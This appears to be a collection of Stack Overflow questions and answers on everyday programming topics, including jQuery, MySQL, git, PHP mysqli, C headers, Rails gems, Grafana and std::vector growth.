16388764	0	How to disable function executing in bind method? <p>I've three simple functions</p> <pre><code>var loadPoints = function(successCallback, errorCallback) { $.ajax({ method: 'get', url: '/admin/graph/get-points', dataType: 'json', success: successCallback, error: errorCallback }); } var successLoadPoints = function(points){ console.log('load ok'); //console.log(points); // $.each(points,function(i, item){ // console.log(points[i]); // // }); } var errorLoadPoints = function () { console.log('error with loading points'); } </code></pre> <p>I bind function loadPoints to click event on button</p> <pre><code>$("button#viewPoints").bind( 'click', loadPoints(successLoadPoints,errorLoadPoints) ); </code></pre> <p>But function loadPoints is been executed without click event. Why? How to resolve this problem ?</p>
22427418	0	 <p>I solved the problem by removing the line</p> <pre><code>storyboard.purgeScene("onevsone") </code></pre> <p>from the exitscene event of the scene and arranging the code like below</p> <pre><code>local function btnTap(event) local function onAlertComplete(event) if "clicked" == event.action then local i = event.index if i == 1 then storyboard.gotoScene("luduMenu") end end end native.showAlert( "End Game?", "Are you sure you want to exit this game?", { "Yes", "No" }, onAlertComplete ) return true end </code></pre>
38938074	0	Mysql count with condition <p>I have a table like this:</p> <pre><code>+---------------+--------+-----------------+ | ReservationID | UserID | ReservationDate | +---------------+--------+-----------------+ | 1 | 10002 | 04_04_2016 | | 2 | 10003 | 04_04_2016 | | 3 | 10003 | 07_04_2016 | | 4 | 10002 | 04_04_2016 | | 5 | 10002 | 04_04_2016 | | 6 | 10002 | 06_04_2016 | +---------------+--------+-----------------+ </code></pre> <p>I use this query to count how many reservation each of my user have:</p> <pre><code>SELECT UserID, COUNT(UserID) as Times FROM mytable GROUP BY UserID ORDER BY Times DESC </code></pre> <p>And It gives me this result:</p> <pre><code>+--------+-------+ | UserID | Times | +--------+-------+ | 10002 | 4 | | 10003 | 2 | +--------+-------+ </code></pre> <p>However I want to count one if my user has more than one reservation in specific date. For example User 10002 has 3 reservation at 04-04-2016, It should be count 1. And I want to get this result:</p> <pre><code>+--------+-------+ | UserID | Times | +--------+-------+ | 10002 | 2 | | 10003 | 2 | +--------+-------+ </code></pre> <p>How can I can get it?</p> <p>Thanks</p>
574667	0	 <p>If you want to maintain your own version of LibraryB you have a few options:</p> <ul> <li><p>You can make LibraryB inherent part of your project: just remove or comment out <code>[remote "LibraryB"]</code> section in the config file, and make changes to LibraryB inside your project.</p> <p>The disadvantage is that it would be harder to send patches for canonical (third-party) version of LibraryB</p></li> <li><p>You can continue using 'subtree' merge, but not from the canonical version of LibraryB, but from your own clone (fork) of this library. You would change remote.LibraryB.url to point to your local version, and your local version would be clone of original LibraryB. Note that you should merge your own branch, and not remote-tracking branch of canonical LibraryB.</p> <p>The disadvantage is that you have to maintain separate clone, and to remember that your own changes (well, at least those generic) to LibraryB have to be made in the fork of LibraryB, and not directly inside ProjectA.</p></li> <li><p>You might want to move from 'subtree' merge which interweaves history of ProjectA and LibraryB, to having more separation that can be achieved using <a href="http://git-scm.com/docs/git-submodule" rel="nofollow noreferrer" title="git-submodule(1)">submodule</a> (<a href="http://git.or.cz/gitwiki/GitSubmoduleTutorial" rel="nofollow noreferrer" title="Git Submodule Tutorial at Git wiki">tutorial</a>). In this case you would have separate repository (fork) of LibraryB, but it would be inside working area of ProjectA; the commit in ProjectA would have instead of having tree of LibraryB as subtree, pointer to commit in LibraryB repository. Then if you do not want to follow LibraryB development, it would be enough to simply not use 'git submodule update' (and perhaps just in case comment out or remove link to canonical version of LibraryB).</p> <p>This has the advantage of making it easy to send your improvements to canonical LibraryB, and the advantage that you make changes inside working area of ProjectA. It has disadvantage of having to learn slightly different workflow.</p> <p>Additionally there is also an issue of how to go from 'subtree' merge to submodules. You can either:</p> <ul> <li>Move from subtree merge to submodule by creating git repository in the subproject subtree in superproject working repository (i.e. "git init" inside appropriate subdirectory + appropriate "git submodule init" etc.). This means that you would have 'subtree' up to some point of history, and submodule later.</li> <li>Rewrite history using <a href="http://git-scm.com/docs/git-filter-branch" rel="nofollow noreferrer" title="git-filter-branch(1)">git filter-branch</a> to replace subtree merge by submodule. This has the disadvantage of rewriting history (big no if somebody based his/her work on current history), and advantage of 'clean start'. Or you can wait a bit for "git submodule split" (<a href="http://thread.gmane.org/gmane.comp.version-control.git/109667" rel="nofollow noreferrer" title="[RFC] What&#39;s the best UI for &#39;git submodule split&#39;?">thread on git mailing list</a>) to make it into git...<br> <em>Unfortunately <a href="http://www.ishlif.org/blog/linux/splitting-a-git-repository/" rel="nofollow noreferrer">Splitting a git repository</a> blog posts returns "host not found"</em></li> </ul></li> </ul> <p>I hope that this version solve your problem.</p> <p><strong><em>Disclaimer:</em></strong> <em>I have used neither subtree merge, nor submodules, nor git-filter-branch personally.</em></p>
25312549	0	 <p>By the looks of a comment you left in another answer given (to the effect of getting the same error message), it sounds like you need to escape the entered data, including <code>if(!mysqli_query($con,$sql))</code> which is a contributing factor. - <em>See further down below.</em></p> <p>Using the following may very well fix the problem.</p> <pre><code>$con=mysqli_connect('localhost','root','root','secure_login'); // place this first if (mysqli_connect_errno()) { echo "Failed to connect to MySQL: " . mysqli_connect_error(); } $username = stripslashes($_POST['username']); $password = stripslashes($_POST['password']); $repassword = stripslashes($_POST['repassword']); $username = mysqli_real_escape_string($con,$_POST['username']); $password = mysqli_real_escape_string($con,$_POST['password']); $repassword = mysqli_real_escape_string($con,$_POST['repassword']); ... $sql = mysqli_query($con,"INSERT INTO users (username, password) VALUES ('".$username."','".$password."')"); ... </code></pre> <p>You also need to change:</p> <pre><code>if (!mysqli_query($con,$sql)){...} </code></pre> <p>to </p> <pre><code>if (!$sql){...} </code></pre> <p>you're querying twice with <code>mysqli_query</code> and connecting twice, which is a <strong>contributing</strong> factor, <em>then again</em>, it may very well be <strong>"thee"</strong> reason which I suspect it is.</p> <ul> <li>Consult <a href="http://stackoverflow.com/a/25268487/"><strong>this answer</strong></a> given by Marc B who states what is happening with a similar problem. His explanation will shed some light on the subject.</li> </ul> <hr> <p><strong>About password storage</strong></p> <p>I must also note that storing passwords in plain text is unsafe.</p> <p>You'd be better off using <a href="http://security.stackexchange.com/q/36471"><strong>CRYPT_BLOWFISH</strong></a> or PHP 5.5's <a href="http://www.php.net/manual/en/function.password-hash.php" rel="nofollow"><code>password_hash()</code></a> function. For PHP &lt; 5.5 use the <a href="https://github.com/ircmaxell/password_compat" rel="nofollow"><code>password_hash() compatibility pack</code></a> and use <a href="http://www.php.net/manual/en/mysqli.quickstart.prepared-statements.php" rel="nofollow"><strong>prepared statements</strong></a>.</p> <p>Plus as I stated in my comment;</p> <p>You don't need this <code>mysql_select_db("secure_login", $con);</code> for two reasons.</p> <p>1) <strong>You're already selecting a DB.</strong> <code>mysqli_connect('localhost','root','root','secure_login')</code> </p> <p>2) <strong>You're mixing MySQL APIs</strong> - Those are two different APIs, and they do not mix together.</p> <p>...and the fact about the missing quote for <code>$password</code> in <code>('$username',$password')</code></p>
31300608	0	 <p>First line -- a table scan (see NULLs and ALL)</p> <p>2nd and 4th line -- an index scan ("Using index"), but rather costly since 10K rows needed.</p> <p>What it does not tell you is whether some other index(es) would be more efficient. Nor does it tell you whether reformulating the query would help. Please provide us with the SELECT so we can help you there, plus tie more things to the EXPLAIN.</p> <p>More links:<br> <a href="http://myxplain.net/" rel="nofollow">http://myxplain.net/</a><br> <a href="http://www.sitepoint.com/using-explain-to-write-better-mysql-queries/" rel="nofollow">http://www.sitepoint.com/using-explain-to-write-better-mysql-queries/</a></p>
41047079	0	google home actions catch all query with Actions SDK <p>Our company already has as a conversational service for intent matching and entity parsing. Let's call this service "Charlie". </p> <p>If we were to integrate Google Home with our service, would we have to repeat all of our existing queries in the action package or is there way to have a catch-all query so when we say to "talk to Charlie", Google Home forwards future utterances to our Charlie service?</p>
28823526	0	How to debug android studio gradle files and tasks? <p>I've leveraged TWiStErRob's solution <a href="http://stackoverflow.com/questions/21414399/android-gradle-dynamically-change-versionname-at-build-time">to auto-increment android versionNumber</a> and I have expanded on this to add more capability, however lately when I add the "apply from" statement in my build.gradle to include the auto-version.gradle file and let Gradle sync, my build.gradle gets inexplicably corrupted and loses all formatting using Android Studio 1.1.</p> <p>Is there any way to debug or step through gradle scripts in Android studio?</p>
40963998	0	 <p>The header file (<code>.h</code>) is the programmer's interface to your module. Anything a user (programmer) of your module needs to know to use your module should be in there, but put the actual implementations in the associated <code>.c</code> file. Generally, you put the function prototypes (e.g. <code>int f(void);</code>) in the <code>.h</code> file and the definitions (the implementations, e.g. <code>int f(void) { return 1; }</code>) in the <code>.c</code> file. The linker matches the prototype to the definition because the function signatures match (the name, argument types, and return type). One way to think about it is the <code>.h</code> file as what you share with everyone, and the <code>.c</code> file as what you keep to yourself.</p> <p>If you want a user of your module to have access to <code>STUDENT_SIZE</code>, then put</p> <pre><code>#define STUDENT_SIZE 20 </code></pre> <p>in your <code>.h</code> file instead of your <code>.c</code> file. Then, any file with</p> <pre><code>#include "stud.h" </code></pre> <p>would have your macro for <code>STUDENT_SIZE</code>. (Notice the file name is <code>"stud.h"</code> not <code>"stud"</code>.)</p> <blockquote> <p>Lets say i want to use STUDENT_SIZE in another file whats the syntax? Do i need to use stud.STUDENT_SIZE?</p> </blockquote> <p>No. You might be confusing this with namespaces, which <a href="http://stackoverflow.com/questions/4396140/why-doesnt-ansi-c-have-namespaces">C does not have</a> in the same sense as other languages like C++, Java, etc. Just use <code>STUDENT_SIZE</code>. (This is why it is important to not use existing identifiers, and also why many people frown upon macros.)</p> <blockquote> <p>... i want from another file to access some of the functions inside stud.c.</p> </blockquote> <p>If you want another file to have access to some function in <code>stud.c</code>, then put that function's prototype in <code>stud.h</code>. This is precisely what the header file is for.</p> <blockquote> <p>... if i want to lets say make an array of students:</p> <p><code>struct stud students[STUDENT_SIZE];</code></p> <p>Can i access that normally like <code>students[5].stud_id</code> ?</p> </blockquote> <p>As you have written your header file, no. You might know some <code>struct stud</code> exists, but you don't know what the members are called (i.e. you wouldn't know <code>stud_id</code> exists). The reason is that the user of your module sees only what is in the header file, and you defined no members of the struct in your header file. (I'm surprised what you have written even compiles, because you define <code>struct stud</code> twice, once empty <code>{}</code>, and once with members.) Again, if you want the programmer user to have access to the members of <code>struct stud</code>, its definition</p> <pre><code>struct stud { char stud_id[MAX_STR_LEN]; char stud_name[MAX_STR_LEN]; struct grade Grade[MAX_STRUCT]; struct income Income[MAX_STRUCT]; }; </code></pre> <p>belongs in your header file (along with whatever those other macros are). Without knowing this, the programmer (and the compiler) has no idea what the members of <code>struct stud</code> are.</p> <p>(You didn't ask about this, but if you want to share access to a <em>global variable</em> in your <code>.c</code> file, then <em>declare</em> it with the keyword <code>extern</code> in your <code>.h</code> file, and without <code>extern</code> in your <code>.c</code> file. See <a href="http://stackoverflow.com/questions/496448/how-to-correctly-use-the-extern-keyword-in-c">How to correctly use the extern keyword in C</a> for more.)</p>
40064792	0	 <p>This worked for me:</p> <ol> <li>Generate a <a href="https://help.github.com/articles/creating-an-access-token-for-command-line-use/" rel="nofollow">Github Access Token</a></li> <li><p>In requirements.txt list private module as follows:</p> <pre><code>git+https://your_user_name:your_git_token@github.com/your_company/your_module.git </code></pre></li> </ol>
5664767	0	How do I print out java debugging information to the screen like gdb's print command in eclipse? <p>When I use the gdb debugger in c++ eclipse I can open up the console tab and type <code>p someVar</code> and it will print out the value of that variable. Now I'm in java eclipse and I would like to do the same type of thing but I can't find out how. I know there is a variables tab but I would like to use print because of its ability to print out function calls and such. Does anyone know if java has this debugging ability or am I stuck constantly using the Variables tab?</p>
21054543	0	 <p>This may be due to a recent change to the router component. We are currently evaluating the best way to alleviate this issue. The engineering team is engaged in solving this.</p>
11608641	0	Scala Form, Type mismatch error <p>I am trying to do CRUD on a Category class:</p> <p><strong>categoryEdit.scala.html</strong>:</p> <pre><code>@(cat: Category, myForm: Form[Category]) @admin(title = "Category") { @helper.form(action = controllers.Application.categorySave) { @inputText(myForm("name")) &lt;input type="submit" value="Save"&gt; } } </code></pre> <p>The <strong>controller</strong> code:</p> <pre><code>public static Result categorySave() { // save form data here ... return redirect( routes.Application.index() ); } </code></pre> <p>Entry in Routes file is as below.</p> <pre><code>GET /saveCategory controllers.Application.categorySave() </code></pre> <p>I am getting this error: </p> <pre><code>type mismatch; found : play.mvc.Result required: play.api.mvc.Call </code></pre> <p>on this line: <code>@helper.form(action = controllers.Application.categorySave) {</code></p> <p>What's wrong in my form? I am missing something?</p>
31194788	0	Validating Input Fields with JavaScript or jQuery <p>I need to check to make sure that four fields have some kind of value in them. I have tried these ideas: <a href="http://stackoverflow.com/questions/11039658/how-to-check-whether-a-select-box-is-empty-using-jquery-javascript">Check whether a select box is empty</a> <a href="http://stackoverflow.com/questions/4855250/how-to-tell-if-a-drop-down-has-options-to-select">How to tell if a DDL has options to select</a></p> <p>My code is currently this:</p> <pre><code> function goToConfirmStep() { var isAllowed = false; var type = $(".#tShowingType option:selected").val(); //DDL var startDate = $("#startDate").text(); //date picker var startTime = $("#startTime option:selected").val(); //DDL var endTime = $("showingLength option:selected").val(); //DDL if (type.val() ) { //&amp;&amp; //(type != null || type != "") //(startDate.text() == "" || startDate.text() == null)) {//&amp;&amp; //($('#startTime').has('option').length &gt; 0) &amp;&amp; //($('#endTime').has('option').length &gt; 0)) { alert("here"); </code></pre> <p>I left the comments in so you can tell what I have tried.</p> <p>If they have values selected (which the 'type' and 'startTime' will have one selected on load), I want to move to the next page. I have an alert on the else to prevent them from moving forward if the fields aren't filled out.</p>
20441633	0	Restrict scope of variable within include file in php <p>I am facing variable conflicting issues in application i am designing.</p> <p>e.g in one of my web application page, there are two modules</p> <p>i: tag clouds module ii: photo listing module</p> <p>both have variable <strong>$listOrder</strong> , e.g when script processing module "<strong>tag cloudes</strong>" it set <strong>$listOrder = "tagid desc"</strong> as its not set initially.</p> <pre><code>if(!isset($listOrder)) $listOrder = "tagid desc"; </code></pre> <p>When script reach to photo listing module again it try to process the following line as shown above. as variable is already set in tag cloud list. it keeps "tagid desc" as value. which causes sql error as "tagid" is not a field of photo listing.</p> <p>This is simple example there are more than 4 or 5 modules with lots of similar variables in every page, which cause conflicts.</p> <p>Can we do something to restrict scope of variable to module level in php to avoid such conflicts.</p>
14717367	0	How to convert the java String to different languages <p>Currently I am writing some text to pdf. based on the user locale, the language must be changed(ex: spanish, chineese, german).</p> <p>Is there any API for this conversion? and Better approach?</p>
28895039	0	Jquery for chosen not working properly on rails 4 app <p>I am using the Mailboxer and Chosen gems. A user can select multiple users from a dropdown menu. The problem is, on the initial load the dropdown appears already opened and allows you to only select one other user. If I reload the page the dropdown appears as it should.</p> <p>When I check it in the chrome inspector I get <a href="http://cl.ly/image/290g3B2o380f" rel="nofollow">TypeError: undefined is not a function</a> error. I've checked S.O, and google and a lot of the advice is to change the order of my application.js file. I have tried this but cannot get this to fire properly on the initial start-up. Looking at my terminal window, every request seems to go through successfully.</p> <p><a href="http://cl.ly/image/2n3r3r2t1S3j" rel="nofollow">Dropdown on initial load, broken</a></p> <p><a href="http://cl.ly/image/2x1X3D0v1w0R" rel="nofollow">Dropdown w/ refresh working properly</a></p> <p>So it DOES work, but why do I have to refresh the page to make it work properly?</p> <p>Application.js:</p> <pre><code> ... // //= require jquery //= require jquery.turbolinks //= require jquery_ujs //= require chosen-jquery //= require bootstrap //= require jquery.image-select //= require messages //= require turbolinks </code></pre> <p>application.css.scss:</p> <pre><code>... * *= require_tree . *= require_self */ @import 'bootstrap'; @import 'bootstrap/theme'; @import 'chosen'; ... </code></pre> <p>messages.coffee:</p> <pre><code># Place all the behaviors and hooks related to the matching controller here. # All this logic will automatically be available in application.js. # You can use CoffeeScript in this file: http://coffeescript.org/ jQuery -&gt; $('.chosen-it').chosen() </code></pre> <p>gemfile:</p> <pre><code>source 'https://rubygems.org' ruby '2.1.5' gem 'rails', '4.2.0' gem 'devise' gem 'thin' gem "simple_calendar" gem 'bootstrap-sass' gem 'bootstrap-will_paginate' gem "mailboxer" gem 'will_paginate' gem 'gravatar_image_tag' group :development do gem 'sqlite3' gem 'better_errors' gem 'binding_of_caller' gem 'annotate' end group :production do gem 'pg' gem 'rails_12factor' end gem 'chosen-rails' gem 'sass-rails', '~&gt; 4.0.5' # Use Uglifier as compressor for JavaScript assets gem 'uglifier', '&gt;= 1.3.0' # Use CoffeeScript for .js.coffee assets and views gem 'coffee-rails', '~&gt; 4.1.0' # See https://github.com/sstephenson/execjs#readme for more supported runtimes # gem 'therubyracer', platforms: :ruby # Use jquery as the JavaScript library gem 'jquery-rails' # Turbolinks makes following links in your web application faster. Read more: https://github.com/rails/turbolinks gem 'turbolinks' gem 'jquery-turbolinks' # Build JSON APIs with ease. Read more: https://github.com/rails/jbuilder gem 'jbuilder', '~&gt; 2.0' # bundle exec rake doc:rails generates the API under doc/api. gem 'sdoc', '~&gt; 0.4.0', group: :doc #gem 'sass-rails', '4.0.4' # Use ActiveModel has_secure_password # gem 'bcrypt', '~&gt; 3.1.7' # Use unicorn as the app server # gem 'unicorn' # Use Capistrano for deployment # gem 'capistrano-rails', group: :development # Use debugger # gem 'debugger', group: [:development, :test] # Windows does not include zoneinfo files, so bundle the tzinfo-data gem gem 'tzinfo-data', platforms: [:mingw, :mswin] </code></pre> <p>Offending file, home.html.erb:</p> <pre><code>&lt;div class="box"&gt; &lt;div class="col-lg-12 text-center"&gt; &lt;div id="carousel-example-generic" class="carousel slide"&gt; &lt;!-- Indicators --&gt; &lt;ol class="carousel-indicators hidden-xs"&gt; &lt;li data-target="#carousel-example-generic" data-slide-to="0" class="active"&gt;&lt;/li&gt; &lt;li data-target="#carousel-example-generic" data-slide-to="1"&gt;&lt;/li&gt; &lt;li data-target="#carousel-example-generic" data-slide-to="2"&gt;&lt;/li&gt; &lt;/ol&gt; &lt;!-- Wrapper for slides --&gt; &lt;div class="carousel-inner"&gt; &lt;div class="item active"&gt; &lt;%= image_tag "slide-1.jpg", :class =&gt; "img-responsive img-full" %&gt; &lt;/div&gt; &lt;div class="item"&gt; &lt;%= image_tag "slide-2.jpg", :class =&gt; "img-responsive img-full" %&gt; &lt;/div&gt; &lt;div class="item"&gt; &lt;%= image_tag "slide-5.jpg", :class =&gt; "img-responsive img-full" %&gt; &lt;/div&gt; &lt;!-- Controls --&gt; &lt;a class="left carousel-control" href="#carousel-example-generic" data-slide="prev"&gt; &lt;span class="icon-prev"&gt;&lt;/span&gt; &lt;/a&gt; &lt;a class="right carousel-control" href="#carousel-example-generic" data-slide="next"&gt; &lt;span class="icon-next"&gt;&lt;/span&gt; &lt;/a&gt; &lt;/div&gt; &lt;h2 class="brand-before"&gt; &lt;small&gt;Welcome to&lt;/small&gt; &lt;/h2&gt; &lt;h1 class="brand-name"&gt;Balern Education&lt;/h1&gt; &lt;hr class="tagline-divider"&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="box"&gt; &lt;hr&gt; &lt;hr&gt; &lt;%= image_tag "intro1.jpg", :class =&gt; "img-responsive img-border img-left" %&gt; &lt;hr class="visible-xs"&gt; &lt;/div&gt; &lt;div class="box"&gt; &lt;hr&gt; &lt;h2 class="intro-text text-center"&gt;Balern really &lt;strong&gt;Cares&lt;/strong&gt; &lt;/h2&gt; &lt;hr&gt; &lt;/div&gt; &lt;!-- /.container --&gt; &lt;!-- jQuery --&gt; &lt;script src="assets/jquery.js"&gt;&lt;/script&gt; &lt;!-- Bootstrap Core JavaScript --&gt; &lt;script src="assets/bootstrap.min.js"&gt;&lt;/script&gt; &lt;!-- Script to Activate the Carousel --&gt; &lt;script&gt; $('.carousel').carousel({ interval: 5000 //changes the speed }) &lt;/script&gt; </code></pre>
35211170	0	carrierwave backgrounder s3 recreate_versions <p>I'm trying to follow <a href="https://github.com/carrierwaveuploader/carrierwave/wiki/How-to%3A-Recreate-and-reprocess-your-files-stored-on-fog" rel="nofollow">https://github.com/carrierwaveuploader/carrierwave/wiki/How-to%3A-Recreate-and-reprocess-your-files-stored-on-fog</a> instructions, but I was getting errors. my file is called <code>hat.jpg</code></p> <p>I'm using carrierwave_backgrounder so i needed these instructions to process immediately.</p> <pre><code>with_avatar.each do |instance| begin instance.process_avatar_upload = true instance.avatar.cache_stored_file! instance.avatar.retrieve_from_cache!(instance.avatar.cache_name) instance.avatar.recreate_versions! instance.save! rescue =&gt; e Rails.logger.info("ERROR: UserAvatar: #{instance.id} -&gt; #{e}") end end </code></pre> <p>So, i tried it in my console one line at a time. If I set process_avatar_upload = true, the next line fails</p> <pre><code>undefined method `cached?' for nil:NilClass </code></pre> <p>If i run the same command again i get</p> <pre><code>undefined method `content_length' for nil:NilClass </code></pre> <p>Finally, if I run a third time, it seems to work. However, when i get to the recreate_versions! I get this:</p> <pre><code>No such file or directory [my file path]/uploads/tmp/1454615129-9112-7053/square_hat.jpg </code></pre> <p>Its correct, there is no square, because that's what I'm trying to create.</p> <p>How can I recreate my versions on s3? I have a lot of them to do. Thanks.</p>
18151185	0	 <p>The <em>technical</em> difference is the presence of <code>get</code> and <code>set</code> accessors. You can customize either or both to do more that just get or set the value.</p> <p>The <em>practical</em> difference is that many data-binding methods (including most if not all of the .NET controls) use reflection to bind to <em>properties</em> only - they do not support binding to <em>fields</em> directly.</p> <p>If you plan to bind the properties of your class to a UI control (<code>DataGrid</code>, <code>TextBox</code>, etc.), or if there's the <em>slightest</em> chance that you might customize the get/set accessors in the future, then make the properties. It is a breaking change to change a field to a property.</p> <p>Many coding standards (<a href="http://msdn.microsoft.com/en-us/library/ms182141.aspx" rel="nofollow">including FxCop</a>) hold that you should use properties instead of fields for public data.</p> <p>If lines of code are a concern you can use auto-implemented properties:</p> <pre><code>class Class2 { public static int A {get; set; } } </code></pre> <p>You can later add logic to the get/set accessors without breaking users of your class.</p>
29919674	0	How to use dependent bundles in different container in Fabri8? <p>I am trying to understand the capabilities of Fabric8's container management. I just want to clarify weather the following scenario can be achieved by using Fabric8 in JBossFuse.</p> <p>I have created simple 2 bundles (tick, tock bundles inspired by the : <a href="http://kevinboone.net/osgitest.html" rel="nofollow noreferrer">http://kevinboone.net/osgitest.html</a>). Simply Tick bundle is exporting a package and Tock bundle is importing it. In another words, Tock Bundle depends on the Tick Bundle.</p> <p>These 2 bundles are working perfectly when deployed in a single container (say in a one child container in JBoossFuse).</p> <p>Then I have created a cluster by using the fabric8 and added its containers to the Fabric Ensemble as well.</p> <p>And I have created 2 profiles. TickProfile contains the Tick bundle and Tock profile contains the Tock bundle.</p> <p>I have deployed above 2 profiles in 2 different containers as follows, </p> <p><img src="https://i.stack.imgur.com/yiZjK.png" alt="enter image description here"></p> <p>Then it is not working properly because Tock bundle cannot resolve its dependency of Tick Bundle which is exposed by Tick Bundle (because those bundles are in two different containers).</p> <p>I thought this is possible with fabric8 but it seems it cannot.</p> <p>It would be really appreciated if someone can tell me whether there is any way of achieving this.</p> <p>Thanks.</p>
5232342	0	 <p>The rate at which the capacity of a vector grows is implementation dependent. Implementations almost invariable choose exponential growth, in order to meet the <em>amortized constant time</em> requirement for the <code>push_back</code> operation. What <em>amortized constant time</em> means and how exponential growth achieves this is interesting.</p> <p>Every time a vector's capacity is grown the elements need to be copied. If you 'amortize' this cost out over the lifetime of the vector, it turns out that if you increase the capacity by an exponential factor you end up with an amortized constant cost.</p> <p>This probably seems a bit odd, so let me explain to you how this works...</p> <ul> <li>size: 1 capacity 1 - No elements have been copied, the cost per element for copies is 0.</li> <li>size: 2 capacity 2 - When the vector's capacity was increased to 2, the first element had to be copied. Average copies per element is 0.5</li> <li>size: 3 capacity 4 - When the vector's capacity was increased to 4, the first two elements had to be copied. Average copies per element is (2 + 1 + 0) / 3 = 1.</li> <li>size: 4 capacity 4 - Average copies per element is (2 + 1 + 0 + 0) / 4 = 3 / 4 = 0.75.</li> <li>size: 5 capacity 8 - Average copies per element is (3 + 2 + 1 + 1 + 0) / 5 = 7 / 5 = 1.4</li> <li>...</li> <li>size: 8 capacity 8 - Average copies per element is (3 + 2 + 1 + 1 + 0 + 0 + 0 + 0) / 8 = 7 / 8 = 0.875</li> <li>size: 9 capacity 16 - Average copies per element is (4 + 3 + 2 + 2 + 1 + 1 + 1 + 1 + 0) / 9 = 15 / 9 = 1.67</li> <li>...</li> <li>size 16 capacity 16 - Average copies per element is 15 / 16 = 0.938</li> <li>size 17 capacity 32 - Average copies per element is 31 / 17 = 1.82</li> </ul> <p>As you can see, every time the capacity jumps, the number of copies goes up by the previous size of the array. But because the array has to double in size before the capacity jumps again, the number of copies per element always stays less than 2.</p> <p>If you increased the capacity by 1.5 * N instead of by 2 * N, you would end up with a very similar effect, except the upper bound on the copies per element would be higher (I think it would be 3).</p> <p>I suspect an implementation would choose 1.5 over 2 both to save a bit of space, but also because 1.5 is closer to the <a href="http://en.wikipedia.org/wiki/Golden_ratio">golden ratio</a>. I have an intuition (that is currently not backed up by any hard data) that a growth rate in line with the golden ratio (because of its relationship to the fibonacci sequence) will prove to be the most efficient growth rate for real-world loads in terms of minimizing both extra space used and time.</p>
14634166	0	 <p>I agree, htaccess can't help you. I guess you'll have to change them manually. I wish I could be of more help</p>
38402138	0	How to restrict users from creating new organization on Grafana <p>On a Grafana deployment if i create a user with the Editor role it can't perform administrative tasks but it can create a new organization and gain Administrative privileges on that organization. Is there a way to prevent roles from creating new Organizations?</p> <p>Bellow you can see a snapshot of a user with the Editor role viewing the "New organization" action on the main menu on Grafana 3.1.0 <a href="https://i.stack.imgur.com/ngnF2.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/ngnF2.png" alt="enter image description here"></a></p>
27686169	0	PHP: calculate array values by array <p>This may be simple to some of you guys but I'm really dummy in php. All what I need is just to transform a multidimensional array and calculate some of it's sub array values.</p> <pre><code> Array ( [0] =&gt; Array ( [date] =&gt; 2014-10-30 [mission] =&gt; one [point] =&gt; 10 ) [1] =&gt; Array ( [date] =&gt; 2014-10-31 [mission] =&gt; five [point] =&gt; 10 ) [2] =&gt; Array ( [date] =&gt; 2014-11-19 [mission] =&gt; one [point] =&gt; 8 ) </code></pre> <p>And the output would be like:</p> <pre><code> Array ( [one] =&gt; Array ( [mission] =&gt; one [point] =&gt; 18 // sum all points where [mission] =&gt; one [count] =&gt; 2 [everage] =&gt; 9 // 18/2 ) [five] =&gt; Array ( [mission] =&gt; five [point] =&gt; 10 [count] =&gt; 1 [everage] =&gt; 10 ) </code></pre> <p>It is simple to get the sum of <code>[point]</code> values using <code>foreach</code> but troubles begin when I try to get <code>count</code> of arrays with same <code>[mission]</code> value. Thats my code:</p> <pre><code>foreach($missionsarray as $row) { if(!isset($newarray[ $row['mission'] ])) { $newarray[ $row['mission'] ] = $row; $newarray[ $row['mission'] ]['count'] = count($row['point']); continue ; } $newarray[ $row['mission'] ]['point'] += $row['point']; } print_r($newarray); </code></pre>
21055710	0	What is the difference between JavaFX scripting and Using Regular java Syntax while programming JavaFX Applications <p>I am looking for a detail explanation to the following question.</p> <p>Can I use regular java syntax to develop JavaFX application? And if so why is the JavaFX scripting so important?</p>
28198875	0	 <p>As far as I know, there is no such .net class as <code>EmailService</code> Typically you use the <code>SmtpClient</code> class to send emails:</p> <pre><code>SmtpClient client = new SmtpClient("server.address.com"); MailAddress from = new MailAddress(fromAddress, fromName); MailMessage msg = new MailMessage(); msg.From = from; foreach(string addr in to) msg.To.Add(addr); msg.Body = content; msg.Subject = subject; client.Send(msg); </code></pre>
2955707	0	 <p>The shell can't do that directly, since there will only be a single stream coming from the source program (the cat, in this case).</p> <p>You need a helper program, such as <a href="http://unixhelp.ed.ac.uk/CGI/man-cgi?tee" rel="nofollow noreferrer">tee</a>. Try this:</p> <pre><code>$ cat mysig | tee -a F* </code></pre>
3154510	0	 <p>You probably don't need the .dialog('open') call; use the option <a href="http://docs.jquery.com/UI/Dialog#option-autoOpen" rel="nofollow noreferrer">autoOpen</a> : true instead.</p>
9643069	0	 <p>I did this using the following snippet.</p> <pre><code>#!/usr/bin/env python import numpy as np import matplotlib.cm as cm import matplotlib.mlab as mlab import matplotlib.pyplot as plt from pylab import * delta = 0.025 x = y = np.arange(-3.0, 3.0, delta) X, Y = np.meshgrid(x, y) Z1 = mlab.bivariate_normal(X, Y, 1.0, 1.0, 0.0, 0.0) Z2 = mlab.bivariate_normal(X, Y, 1.5, 0.5, 1, 1) Z = Z2-Z1 # difference of Gaussians ax = Axes(plt.gcf(),[0,0,1,1],yticks=[],xticks=[],frame_on=False) plt.gcf().delaxes(plt.gca()) plt.gcf().add_axes(ax) im = plt.imshow(Z, cmap=cm.gray) plt.show() </code></pre> <p>Note the grey border on the sides is related to the aspect rario of the Axes which is altered by setting <code>aspect='equal'</code>, or <code>aspect='auto'</code> or your ratio.</p> <p>Also as mentioned by Zhenya in the comments <a href="http://stackoverflow.com/questions/4042192/reduce-left-and-right-margins-in-matplotlib-plot">Similar StackOverflow Question</a> mentions the parameters to <code>savefig</code> of <code>bbox_inches='tight'</code> and <code>pad_inches=-1</code> or p<code>ad_inches=0</code></p>
5856704	0	 <p>Assuming you're on a linux/unix machine with the GNU toolchain you could check this easily by:</p> <p>Copying the above code into test.c:</p> <pre><code>$ echo "int temp = temp +1; int main() { return temp; }" &gt; test.c </code></pre> <p>Testing to see if it's valid C (it's not):</p> <pre><code>$ gcc test.c test.c:2: error: initializer element is not constant </code></pre> <p>Testing to see if it's valid in C++ (it is!):</p> <pre><code>$ g++ test.c </code></pre> <p>Checking the return code:</p> <pre><code>$ ./a.out &amp;&amp; echo "success: return code $?" || echo "failure: return code $?" failure: return code 1 </code></pre>
